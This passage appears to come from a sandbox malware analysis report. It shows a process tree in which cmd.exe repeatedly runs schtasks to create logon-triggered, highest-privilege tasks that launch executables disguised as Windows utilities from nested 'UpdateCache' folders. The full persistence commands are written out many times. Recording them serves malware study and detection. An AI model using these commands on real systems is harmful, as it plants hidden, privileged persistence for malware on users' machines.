    schtasks /create /tn "WinTask_ShowUnpublish_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\ShowUnpublish.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_27" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_27" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_1" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_1" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8116
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\MicrosoftService\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\MicrosoftService\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_userinit_6" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_userinit_6" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cacls_8" /tr ""C:\ProgramData\MicrosoftService\cacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cacls_8" /tr ""C:\ProgramData\MicrosoftService\cacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6384
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_11" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_11" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_12" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:9060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_12" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11392
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_13" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_17" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_18" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_18" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8832
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_22" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dllhst3g_23" /tr ""C:\ProgramData\MicrosoftService\dllhst3g.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dllhst3g_23" /tr ""C:\ProgramData\MicrosoftService\dllhst3g.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9660
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_26" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_26" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_27" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12224
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_32" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_1" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_1" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_3" /tr ""C:\ProgramData\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_3" /tr ""C:\ProgramData\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_6" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_6" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7880
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_7" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_8" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_8" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10496
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_11" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_11" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\UpdateCache\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_12" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_12" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
